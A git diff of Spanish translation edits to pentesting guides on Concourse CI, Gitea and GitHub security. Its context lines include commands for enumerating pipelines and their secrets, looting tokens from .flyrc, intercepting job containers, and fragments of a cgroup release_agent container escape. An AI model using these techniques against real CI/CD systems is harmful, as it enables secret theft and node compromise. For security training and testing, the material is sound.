-La responsabilidad del [checker](https://concourse-ci.org/checker.html) es verificar continuamente si hay nuevas versiones de recursos. El [scheduler](https://concourse-ci.org/scheduler.html) es responsable de programar compilaciones para un trabajo y el [build tracker](https://concourse-ci.org/build-tracker.html) es responsable de ejecutar cualquier compilación programada. El [garbage collector](https://concourse-ci.org/garbage-collector.html) es el mecanismo de limpieza para eliminar cualquier objeto no utilizado o desactualizado, como contenedores y volúmenes.
+La responsabilidad del [checker](https://concourse-ci.org/checker.html) es verificar continuamente nuevas versiones de recursos. El [scheduler](https://concourse-ci.org/scheduler.html) es responsable de programar compilaciones para un trabajo y el [build tracker](https://concourse-ci.org/build-tracker.html) es responsable de ejecutar cualquier compilación programada. El [garbage collector](https://concourse-ci.org/garbage-collector.html) es el mecanismo de limpieza para eliminar cualquier objeto no utilizado o desactualizado, como contenedores y volúmenes.
 
 #### TSA: registro de trabajadores y reenvío
 
-El TSA es un **servidor SSH construido a medida** que se utiliza únicamente para **registrar** de forma segura a los [**trabajadores**](https://concourse-ci.org/internals.html#architecture-worker) con el [ATC](https://concourse-ci.org/internals.html#component-atc).
+La TSA es un **servidor SSH construido a medida** que se utiliza únicamente para **registrar** de forma segura a los [**trabajadores**](https://concourse-ci.org/internals.html#architecture-worker) con el [ATC](https://concourse-ci.org/internals.html#component-atc).
 
-El TSA por **defecto escucha en el puerto `2222`**, y generalmente está colocalizado con el [ATC](https://concourse-ci.org/internals.html#component-atc) y detrás de un balanceador de carga.
+La TSA por **defecto escucha en el puerto `2222`**, y generalmente se encuentra junto al [ATC](https://concourse-ci.org/internals.html#component-atc) y detrás de un balanceador de carga.
 
-El **TSA implementa CLI a través de la conexión SSH,** soportando [**estos comandos**](https://concourse-ci.org/internals.html#component-tsa).
+La **TSA implementa CLI a través de la conexión SSH,** soportando [**estos comandos**](https://concourse-ci.org/internals.html#component-tsa).
 
-#### Workers
+#### Trabajadores
 
-Para ejecutar tareas, Concourse debe tener algunos trabajadores. Estos trabajadores **se registran** a través del [TSA](https://concourse-ci.org/internals.html#component-tsa) y ejecutan los servicios [**Garden**](https://github.com/cloudfoundry-incubator/garden) y [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+Para ejecutar tareas, Concourse debe tener algunos trabajadores. Estos trabajadores **se registran** a través de la [TSA](https://concourse-ci.org/internals.html#component-tsa) y ejecutan los servicios [**Garden**](https://github.com/cloudfoundry-incubator/garden) y [**Baggageclaim**](https://github.com/concourse/baggageclaim).
 
-- **Garden**: Esta es la **API de Gestión de Contenedores**, generalmente se ejecuta en **el puerto 7777** a través de **HTTP**.
-- **Baggageclaim**: Esta es la **API de Gestión de Volúmenes**, generalmente se ejecuta en **el puerto 7788** a través de **HTTP**.
+- **Garden**: Esta es la **API de Gestión de Contenedores**, que generalmente se ejecuta en **el puerto 7777** a través de **HTTP**.
+- **Baggageclaim**: Esta es la **API de Gestión de Volúmenes**, que generalmente se ejecuta en **el puerto 7788** a través de **HTTP**.
 
-## References
+## Referencias
 
 - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
 

src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md

@@ -1,32 +1,32 @@
-# Concourse Enumeration & Attacks
+# Concourse Enumeración y Ataques
 
-## Concourse Enumeration & Attacks
+## Concourse Enumeración y Ataques
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### User Roles & Permissions
+### Roles de Usuario y Permisos
 
 Concourse viene con cinco roles:
 
 - _Concourse_ **Admin**: Este rol solo se otorga a los propietarios del **equipo principal** (equipo inicial predeterminado de concourse). Los administradores pueden **configurar otros equipos** (por ejemplo: `fly set-team`, `fly destroy-team`...). Los permisos de este rol no pueden ser afectados por RBAC.
 - **owner**: Los propietarios del equipo pueden **modificar todo dentro del equipo**.
 - **member**: Los miembros del equipo pueden **leer y escribir** dentro de los **activos del equipo** pero no pueden modificar la configuración del equipo.
-- **pipeline-operator**: Los operadores de pipeline pueden realizar **operaciones de pipeline** como activar compilaciones y fijar recursos, sin embargo, no pueden actualizar las configuraciones de pipeline.
+- **pipeline-operator**: Los operadores de pipeline pueden realizar **operaciones de pipeline** como activar construcciones y fijar recursos, sin embargo, no pueden actualizar las configuraciones de pipeline.
 - **viewer**: Los espectadores del equipo tienen acceso **"solo de lectura" a un equipo** y sus pipelines.
 
 > [!NOTE]
-> Además, **los permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados** configurando RBAC (configurando más específicamente sus acciones). Lee más sobre esto en: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Además, los **permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados** configurando RBAC (configurando más específicamente sus acciones). Lee más sobre esto en: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
 
 Ten en cuenta que Concourse **agrupa pipelines dentro de Equipos**. Por lo tanto, los usuarios que pertenecen a un Equipo podrán gestionar esos pipelines y **pueden existir varios Equipos**. Un usuario puede pertenecer a varios Equipos y tener diferentes permisos dentro de cada uno de ellos.
 
-### Vars & Credential Manager
+### Vars y Administrador de Credenciales
 
 En las configuraciones YAML puedes configurar valores usando la sintaxis `((_source-name_:_secret-path_._secret-field_))`.\
-[De la documentación:](https://concourse-ci.org/vars.html#var-syntax) El **source-name es opcional**, y si se omite, se utilizará el [gestor de credenciales a nivel de clúster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), o el valor puede ser proporcionado [estáticamente](https://concourse-ci.org/vars.html#static-vars).\
-El **\_secret-field opcional**\_ especifica un campo en el secreto obtenido para leer. Si se omite, el gestor de credenciales puede optar por leer un 'campo predeterminado' del secreto obtenido si el campo existe.\
+[De la documentación:](https://concourse-ci.org/vars.html#var-syntax) El **source-name es opcional**, y si se omite, se utilizará el [administrador de credenciales a nivel de clúster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), o el valor puede ser proporcionado [estáticamente](https://concourse-ci.org/vars.html#static-vars).\
+El **\_secret-field opcional**\_ especifica un campo en el secreto obtenido para leer. Si se omite, el administrador de credenciales puede optar por leer un 'campo predeterminado' del secreto obtenido si el campo existe.\
 Además, el _**secret-path**_ y _**secret-field**_ pueden estar rodeados por comillas dobles `"..."` si **contienen caracteres especiales** como `.` y `:`. Por ejemplo, `((source:"my.secret"."field:1"))` establecerá el _secret-path_ en `my.secret` y el _secret-field_ en `field:1`.
 
-#### Static Vars
+#### Vars Estáticas
 
 Las vars estáticas pueden ser especificadas en **pasos de tareas**:
 ```yaml
@@ -34,16 +34,16 @@ Las vars estáticas pueden ser especificadas en **pasos de tareas**:
 file: booklit/ci/unit.yml
 vars: { tag: 1.13 }
 ```
-Or usando los siguientes `fly` **argumentos**:
+O usando los siguientes `fly` **argumentos**:
 
-- `-v` o `--var` `NAME=VALUE` establece la cadena `VALUE` como el valor para la var `NAME`.
-- `-y` o `--yaml-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var `NAME`.
-- `-i` o `--instance-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var de instancia `NAME`. Consulta [Agrupación de Pipelines](https://concourse-ci.org/instanced-pipelines.html) para aprender más sobre las vars de instancia.
-- `-l` o `--load-vars-from` `FILE` carga `FILE`, un documento YAML que contiene la asignación de nombres de var a valores, y los establece todos.
+- `-v` o `--var` `NAME=VALUE` establece la cadena `VALUE` como el valor para la variable `NAME`.
+- `-y` o `--yaml-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la variable `NAME`.
+- `-i` o `--instance-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la variable de instancia `NAME`. Consulta [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) para aprender más sobre las variables de instancia.
+- `-l` o `--load-vars-from` `FILE` carga `FILE`, un documento YAML que contiene la asignación de nombres de variables a valores, y los establece todos.
 
 #### Gestión de Credenciales
 
-Hay diferentes formas en que se puede **especificar un Gestor de Credenciales** en un pipeline, lee cómo en [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
+Hay diferentes formas en que un **Gestor de Credenciales puede ser especificado** en un pipeline, lee cómo en [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
 Además, Concourse admite diferentes gestores de credenciales:
 
 - [El gestor de credenciales Vault](https://concourse-ci.org/vault-credential-manager.html)
@@ -54,7 +54,7 @@ Además, Concourse admite diferentes gestores de credenciales:
 - [El gestor de credenciales Conjur](https://concourse-ci.org/conjur-credential-manager.html)
 - [Credenciales en caché](https://concourse-ci.org/creds-caching.html)
 - [Redacción de credenciales](https://concourse-ci.org/creds-redacting.html)
-- [Reintentar recuperaciones fallidas](https://concourse-ci.org/creds-retry-logic.html)
+- [Reintentando fetches fallidos](https://concourse-ci.org/creds-retry-logic.html)
 
 > [!CAUTION]
 > Ten en cuenta que si tienes algún tipo de **acceso de escritura a Concourse** puedes crear trabajos para **exfiltrar esos secretos** ya que Concourse necesita poder acceder a ellos.
@@ -75,7 +75,7 @@ Para enumerar un entorno de concourse primero necesitas **reunir credenciales v
 - `fly -t <target> userinfo`
 
 > [!NOTE]
-> Ten en cuenta que el **token de API** se **guarda** en `$HOME/.flyrc` por defecto, al saquear una máquina podrías encontrar allí las credenciales.
+> Ten en cuenta que el **token API** se **guarda** en `$HOME/.flyrc` por defecto, si estás saqueando una máquina podrías encontrar allí las credenciales.
 
 #### Equipos y Usuarios
 
@@ -90,7 +90,7 @@ Para enumerar un entorno de concourse primero necesitas **reunir credenciales v
 
 - **Listar** pipelines:
 - `fly -t <target> pipelines -a`
-- **Obtener** yaml de pipeline (**información sensible** podría encontrarse en la definición):
+- **Obtener** yaml del pipeline (**información sensible** podría encontrarse en la definición):
 - `fly -t <target> get-pipeline -p <pipeline-name>`
 - Obtener todas las **vars declaradas en la configuración del pipeline**
 - `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
@@ -125,11 +125,11 @@ rm /tmp/secrets.txt
 
 #### Enumeración de secretos y parámetros
 
-En la sección anterior vimos cómo puedes **obtener todos los nombres y vars de los secretos** utilizados por el pipeline. Las **vars pueden contener información sensible** y el nombre de los **secretos será útil más adelante para intentar robar**los.
+En la sección anterior vimos cómo puedes **obtener todos los nombres y vars de los secretos** utilizados por el pipeline. Las **vars pueden contener información sensible** y el nombre de los **secretos será útil más adelante para intentar robarlos**.
 
 #### Sesión dentro de un contenedor en ejecución o recientemente ejecutado
 
-Si tienes suficientes privilegios (**rol de miembro o más**) podrás **listar pipelines y roles** y simplemente obtener una **sesión dentro** del contenedor de `<pipeline>/<job>` usando:
+Si tienes suficientes privilegios (**rol de miembro o más**) podrás **listar pipelines y roles** y simplemente obtener una **sesión dentro** del **contenedor** `<pipeline>/<job>` usando:
 ```bash
 fly -t tutorial intercept --job pipeline-name/job-name
 fly -t tutorial intercept # To be presented a prompt with all the options
@@ -170,7 +170,7 @@ Con la **modificación/creación** de un nuevo pipeline podrás:
 
 - **Robar** los **secretos** (a través de su impresión o accediendo al contenedor y ejecutando `env`)
 - **Escapar** al **nodo** (dándote suficientes privilegios - `privileged: true`)
-- Enumerar/Abusar del **endpoint de metadatos de la nube** (desde el pod y desde el nodo)
+- Enumerar/Abusar del endpoint de **metadata** de **cloud** (desde el pod y desde el nodo)
 - **Eliminar** el pipeline creado
 
 #### Ejecutar Tarea Personalizada
@@ -199,7 +199,7 @@ fly -t tutorial execute --privileged --config task_config.yml
 ```
 #### Escapando al nodo desde una tarea privilegiada
 
-En las secciones anteriores vimos cómo **ejecutar una tarea privilegiada con concourse**. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor de docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la escapatoria podría ser más "compleja".
+En las secciones anteriores vimos cómo **ejecutar una tarea privilegiada con concourse**. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la escapatoria podría ser más "compleja".
 
 En la siguiente PoC vamos a usar el release_agent para escapar con algunas pequeñas modificaciones:
 ```bash
@@ -291,7 +291,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 # Reads the output
 cat /output
 ```
-#### Escapando al nodo desde el contenedor web
+#### Escapando al nodo desde el contenedor Web
 
 Incluso si el contenedor web tiene algunas defensas deshabilitadas, **no se está ejecutando como un contenedor privilegiado común** (por ejemplo, **no puedes** **montar** y las **capacidades** son muy **limitadas**, por lo que todas las formas fáciles de escapar del contenedor son inútiles).
 
@@ -330,11 +330,11 @@ select * from users;
 #### Abusando del Servicio Garden - No es un Ataque Real
 
 > [!WARNING]
-> Estas son solo algunas notas interesantes sobre el servicio, pero dado que solo está escuchando en localhost, estas notas no presentarán ningún impacto que no hayamos explotado antes.
+> Estas son solo algunas notas interesantes sobre el servicio, pero dado que solo está escuchando en localhost, estas notas no presentarán ningún impacto que no hayamos explotado ya antes.
 
-Por defecto, cada trabajador de concourse estará ejecutando un servicio [**Garden**](https://github.com/cloudfoundry/garden) en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al trabajador **lo que necesita ejecutar** (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas buenas protecciones:
+Por defecto, cada trabajador de concourse estará ejecutando un [**Garden**](https://github.com/cloudfoundry/garden) en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al trabajador **lo que necesita ejecutar** (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas buenas protecciones:
 
-- Está **expuesto localmente** (127..0.0.1) y creo que cuando el trabajador se autentica contra la Web con el servicio SSH especial, se crea un túnel para que el servidor web pueda **hablar con cada servicio Garden** dentro de cada trabajador.
+- Está **expuesto localmente** (127..0.0.1) y creo que cuando el trabajador se autentica contra la web con el servicio SSH especial, se crea un túnel para que el servidor web pueda **hablar con cada servicio Garden** dentro de cada trabajador.
 - El servidor web está **monitoreando los contenedores en ejecución cada pocos segundos**, y los contenedores **inesperados** son **eliminados**. Así que si quieres **ejecutar un contenedor personalizado** necesitas **manipular** la **comunicación** entre el servidor web y el servicio garden.
 
 Los trabajadores de Concourse se ejecutan con altos privilegios de contenedor:
@@ -353,7 +353,7 @@ Sin embargo, técnicas como **montar** el dispositivo /dev del nodo o release_ag
 > [!NOTE]
 > En la sección anterior vimos cómo escapar de un contenedor privilegiado, así que si podemos **ejecutar** comandos en un **contenedor privilegiado** creado por el **trabajador** **actual**, podríamos **escapar al nodo**.
 
-Ten en cuenta que al jugar con concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, por lo que es como si un contenedor creara un nuevo contenedor dentro de él.
+Ten en cuenta que al jugar con concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, así que es como si un contenedor estuviera creando un nuevo contenedor dentro de él.
 
 **Entrando en un contenedor privilegiado en ejecución**
 ```bash

src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md

@@ -17,7 +17,7 @@ Puedes descargar la línea de comandos `fly` para tu sistema operativo desde la
 
 #### Con Kubernetes (Recomendado)
 
-Puedes desplegar concourse fácilmente en **Kubernetes** (en **minikube** por ejemplo) usando el helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+Puedes desplegar fácilmente concourse en **Kubernetes** (en **minikube** por ejemplo) utilizando el helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
 ```bash
 brew install helm
 helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -75,17 +75,17 @@ Un pipeline está compuesto por una lista de [Jobs](https://concourse-ci.org/job
 
 Se pueden utilizar varios tipos diferentes de pasos:
 
-- **el** [**paso `task`**](https://concourse-ci.org/task-step.html) **ejecuta una** [**tarea**](https://concourse-ci.org/tasks.html)
+- **el** [**`task` step**](https://concourse-ci.org/task-step.html) **ejecuta una** [**tarea**](https://concourse-ci.org/tasks.html)
 - el [`get` step](https://concourse-ci.org/get-step.html) obtiene un [recurso](https://concourse-ci.org/resources.html)
 - el [`put` step](https://concourse-ci.org/put-step.html) actualiza un [recurso](https://concourse-ci.org/resources.html)
 - el [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura un [pipeline](https://concourse-ci.org/pipelines.html)
 - el [`load_var` step](https://concourse-ci.org/load-var-step.html) carga un valor en una [var local](https://concourse-ci.org/vars.html#local-vars)
 - el [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) ejecuta pasos en paralelo
 - el [`do` step](https://concourse-ci.org/do-step.html) ejecuta pasos en secuencia
-- el modificador de paso [`across`](https://concourse-ci.org/across-step.html#schema.across) ejecuta un paso múltiples veces; una vez por cada combinación de valores de variable
+- el modificador [`across` step](https://concourse-ci.org/across-step.html#schema.across) ejecuta un paso múltiples veces; una vez por cada combinación de valores de variable
 - el [`try` step](https://concourse-ci.org/try-step.html) intenta ejecutar un paso y tiene éxito incluso si el paso falla
 
-Cada [step](https://concourse-ci.org/steps.html) en un [plan de trabajo](https://concourse-ci.org/jobs.html#schema.job.plan) se ejecuta en su **propio contenedor**. Puedes ejecutar lo que desees dentro del contenedor _(es decir, ejecutar mis pruebas, ejecutar este script bash, construir esta imagen, etc.)_. Así que si tienes un trabajo con cinco pasos, Concourse creará cinco contenedores, uno para cada paso.
+Cada [step](https://concourse-ci.org/steps.html) en un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) se ejecuta en su **propio contenedor**. Puedes ejecutar lo que desees dentro del contenedor _(es decir, ejecutar mis pruebas, ejecutar este script bash, construir esta imagen, etc.)_. Así que si tienes un trabajo con cinco pasos, Concourse creará cinco contenedores, uno para cada paso.
 
 Por lo tanto, es posible indicar el tipo de contenedor en el que cada paso necesita ser ejecutado.
 
@@ -138,6 +138,6 @@ No necesitas activar los trabajos manualmente cada vez que necesites ejecutarlos
 - Nuevas PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
 - Obtener o enviar la última imagen de tu aplicación: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
 
-Consulta un ejemplo de tubería YAML que se activa con nuevos commits a master en [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Consulta un ejemplo de tubería YAML que se activa con nuevos commits en master en [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/gitea-security/README.md

@@ -1,10 +1,10 @@
-# Gitea Security
+# Seguridad de Gitea
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Qué es Gitea
+## ¿Qué es Gitea?
 
-**Gitea** es una **solución de alojamiento de código ligera gestionada por la comunidad y autoalojada** escrita en Go.
+**Gitea** es una solución de **hosting de código ligero gestionada por la comunidad y autoalojada** escrita en Go.
 
 ![](<../../images/image (160).png>)
 
@@ -20,9 +20,9 @@ Para ejecutar una instancia de Gitea localmente, solo puedes ejecutar un contene
 ```bash
 docker run -p 3000:3000 gitea/gitea
 ```
-Conéctate al puerto 3000 para acceder a la página web.
+Conéctese al puerto 3000 para acceder a la página web.
 
-También podrías ejecutarlo con kubernetes:
+También podría ejecutarlo con kubernetes:
 ```
 helm repo add gitea-charts https://dl.gitea.io/charts/
 helm install gitea gitea-charts/gitea
@@ -33,7 +33,7 @@ helm install gitea gitea-charts/gitea
 - Usuarios registrados: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
 - Organizaciones registradas: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
 
-Ten en cuenta que por **defecto Gitea permite que nuevos usuarios se registren**. Esto no dará un acceso especialmente interesante a los nuevos usuarios sobre otros repos de organizaciones/usuarios, pero un **usuario autenticado** podría **visualizar más repos u organizaciones**.
+Ten en cuenta que por **defecto Gitea permite que nuevos usuarios se registren**. Esto no dará un acceso especialmente interesante a los nuevos usuarios sobre los repos de otras organizaciones/usuarios, pero un **usuario autenticado** podría **visualizar más repos u organizaciones**.
 
 ## Explotación Interna
 
@@ -50,7 +50,7 @@ Ten en cuenta que **se puede usar 2FA** así que solo podrás acceder a esta inf
 
 ### Con Clave SSH de Usuario
 
-Gitea permite a **los usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA).
+Gitea permite a los **usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA).
 
 Con esta clave puedes realizar **cambios en repositorios donde el usuario tiene algunos privilegios**, sin embargo, no puedes usarla para acceder a la API de gitea para enumerar el entorno. Sin embargo, puedes **enumerar configuraciones locales** para obtener información sobre los repos y el usuario al que tienes acceso:
 ```bash
@@ -91,7 +91,7 @@ En Github tenemos **github actions** que por defecto obtienen un **token con acc
 - **Habilitar Push**: Si alguien con acceso de escritura puede hacer push a la rama, simplemente haz push a ella.
 - **Whitelist Restricted Push**: De la misma manera, si eres parte de esta lista haz push a la rama.
 - **Habilitar Merge Whitelist**: Si hay una lista blanca de merges, necesitas estar dentro de ella.
-- **Requerir aprobaciones es mayor que 0**: Entonces... necesitas comprometer a otro usuario.
+- **Requerir aprobaciones mayores que 0**: Entonces... necesitas comprometer a otro usuario.
 - **Restringir aprobaciones a los que están en la lista blanca**: Si solo los usuarios en la lista blanca pueden aprobar... necesitas comprometer a otro usuario que esté dentro de esa lista.
 - **Desestimar aprobaciones obsoletas**: Si las aprobaciones no se eliminan con nuevos commits, podrías secuestrar un PR ya aprobado para inyectar tu código y fusionar el PR.
 

src/pentesting-ci-cd/gitea-security/basic-gitea-information.md

@@ -16,29 +16,29 @@ Y finalmente, **los repositorios pueden tener mecanismos de protección especial
 
 ### Organizaciones
 
-Cuando se **crea una organización**, se crea un equipo llamado **Owners** y el usuario se coloca dentro de él. Este equipo dará **acceso de administrador** sobre la **organización**, esos **permisos** y el **nombre** del equipo **no pueden ser modificados**.
+Cuando se **crea una organización**, se crea un equipo llamado **Owners** y el usuario se coloca dentro de él. Este equipo otorgará **acceso de administrador** sobre la **organización**, esos **permisos** y el **nombre** del equipo **no pueden ser modificados**.
 
-**Los administradores de la organización** (propietarios) pueden seleccionar la **visibilidad** de la organización:
+**Org admins** (propietarios) pueden seleccionar la **visibilidad** de la organización:
 
 - Pública
 - Limitada (solo usuarios registrados)
 - Privada (solo miembros)
 
-**Los administradores de la organización** también pueden indicar si los **administradores de repos** pueden **agregar o eliminar acceso** para equipos. También pueden indicar el número máximo de repos.
+**Org admins** también pueden indicar si los **repo admins** pueden **agregar o eliminar acceso** para equipos. También pueden indicar el número máximo de repos.
 
 Al crear un nuevo equipo, se seleccionan varias configuraciones importantes:
 
 - Se indica los **repos de la org a los que los miembros del equipo podrán acceder**: repos específicos (repos donde se agrega el equipo) o todos.
 - También se indica **si los miembros pueden crear nuevos repos** (el creador obtendrá acceso de administrador a él)
-- Los **permisos** que los **miembros** del repos **tendrán**:
-- Acceso **Administrador**
+- Los **permisos** que los **miembros** del repos tendrán:
+- Acceso de **Administrador**
 - Acceso **Específico**:
 
 ![](<../../images/image (118).png>)
 
 ### Equipos y Usuarios
 
-En un repositorio, el **administrador de la org** y los **administradores de repos** (si lo permite la org) pueden **gestionar los roles** otorgados a colaboradores (otros usuarios) y equipos. Hay **3** posibles **roles**:
+En un repositorio, el **org admin** y los **repo admins** (si lo permite la org) pueden **gestionar los roles** otorgados a colaboradores (otros usuarios) y equipos. Hay **3** posibles **roles**:
 
 - Administrador
 - Escribir
@@ -52,11 +52,11 @@ Usando **nombre de usuario + contraseña** y potencialmente (y recomendado) un 2
 
 ### **Claves SSH**
 
-Puedes configurar tu cuenta con una o varias claves públicas que permiten que la clave **privada relacionada realice acciones en tu nombre.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+Puedes configurar tu cuenta con una o varias claves públicas que permiten que la **clave privada relacionada realice acciones en tu nombre.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
 
 #### **Claves GPG**
 
-No **puedes suplantar al usuario con estas claves**, pero si no las usas, podría ser posible que **se descubra que envías commits sin una firma**.
+No **puedes suplantar al usuario con estas claves** pero si no las usas, podría ser posible que **se descubra que envías commits sin una firma**.
 
 ### **Tokens de Acceso Personal**
 
@@ -64,7 +64,7 @@ Puedes generar un token de acceso personal para **dar acceso a una aplicación a
 
 ### Aplicaciones Oauth
 
-Al igual que los tokens de acceso personal, las **aplicaciones Oauth** tendrán **acceso completo** a tu cuenta y a los lugares a los que tu cuenta tiene acceso porque, como se indica en la [documentación](https://docs.gitea.io/en-us/oauth2-provider/#scopes), los alcances aún no son compatibles:
+Al igual que los tokens de acceso personal, las **aplicaciones Oauth** tendrán **acceso completo** a tu cuenta y a los lugares a los que tu cuenta tiene acceso porque, como se indica en la [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), los scopes aún no son compatibles:
 
 ![](<../../images/image (194).png>)
 
@@ -98,6 +98,6 @@ Se pueden aplicar diferentes protecciones a una rama (como a master):
 - **Patrones de archivos protegidos/no protegidos**: Indica patrones de archivos para proteger/no proteger contra cambios
 
 > [!NOTE]
-> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que empujes código a master**, por ejemplo, para comprometer el pipeline de CI/CD.
+> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que empujes código a master** por ejemplo para comprometer el pipeline de CI/CD.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/README.md

@@ -4,7 +4,7 @@
 
 ## Qué es Github
 
-(De [aquí](https://kinsta.com/knowledgebase/what-is-github/)) A un alto nivel, **GitHub es un sitio web y un servicio basado en la nube que ayuda a los desarrolladores a almacenar y gestionar su código, así como a rastrear y controlar los cambios en su código**.
+(Desde [aquí](https://kinsta.com/knowledgebase/what-is-github/)) A un alto nivel, **GitHub es un sitio web y un servicio basado en la nube que ayuda a los desarrolladores a almacenar y gestionar su código, así como a rastrear y controlar los cambios en su código**.
 
 ### Información Básica
 
@@ -36,7 +36,7 @@ Herramientas (cada herramienta contiene su lista de dorks):
 
 Por favor, ten en cuenta que los github dorks también están destinados a buscar filtraciones utilizando las opciones de búsqueda de github. Esta sección está dedicada a aquellas herramientas que **descargarán cada repositorio y buscarán información sensible en ellos** (incluso revisando cierta profundidad de commits).
 
-Herramientas (cada herramienta contiene su lista de regex):
+Herramientas (cada herramienta contiene su lista de regexes):
 
 - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
 - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -70,11 +70,11 @@ Hay algunos **privilegios predeterminados** que se pueden asignar a los **miembr
 - **Permisos base**: Los miembros tendrán el permiso Ninguno/Leer/escribir/Administrar sobre los repositorios de la organización. Se recomienda **Ninguno** o **Leer**.
 - **Forking de repositorios**: Si no es necesario, es mejor **no permitir** que los miembros hagan forks de los repositorios de la organización.
 - **Creación de páginas**: Si no es necesario, es mejor **no permitir** que los miembros publiquen páginas desde los repositorios de la organización. Si es necesario, puedes permitir crear páginas públicas o privadas.
-- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub o OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo.
+- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub u OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo.
 - _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
-- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos de **administrador** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que la gente haga cosas **públicas**, asegúrate de que esto esté **deshabilitado**.
+- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos **administrativos** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que las personas hagan cosas **públicas**, asegúrate de que esto esté **deshabilitado**.
 - _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
-- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos de **administrador** para el repositorio podrán **eliminar** o **transferir** **repositorios** públicos y privados.
+- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos **administrativos** para el repositorio podrán **eliminar** o **transferir** repositorios **públicos y privados**.
 - _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
 - **Permitir a los miembros crear equipos**: Si está habilitado, cualquier **miembro** de la organización podrá **crear** nuevos **equipos**. Si está deshabilitado, solo los propietarios de la organización pueden crear nuevos equipos. Es mejor tener esto deshabilitado.
 - _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
@@ -87,13 +87,13 @@ Varios ajustes relacionados con la seguridad se pueden configurar para acciones
 > [!NOTE]
 > Ten en cuenta que todas estas configuraciones también se pueden establecer en cada repositorio de forma independiente.
 
-- **Políticas de acciones de Github**: Permite indicar qué repositorios pueden ejecutar flujos de trabajo y qué flujos de trabajo deben ser permitidos. Se recomienda **especificar qué repositorios** deben ser permitidos y no permitir que todas las acciones se ejecuten.
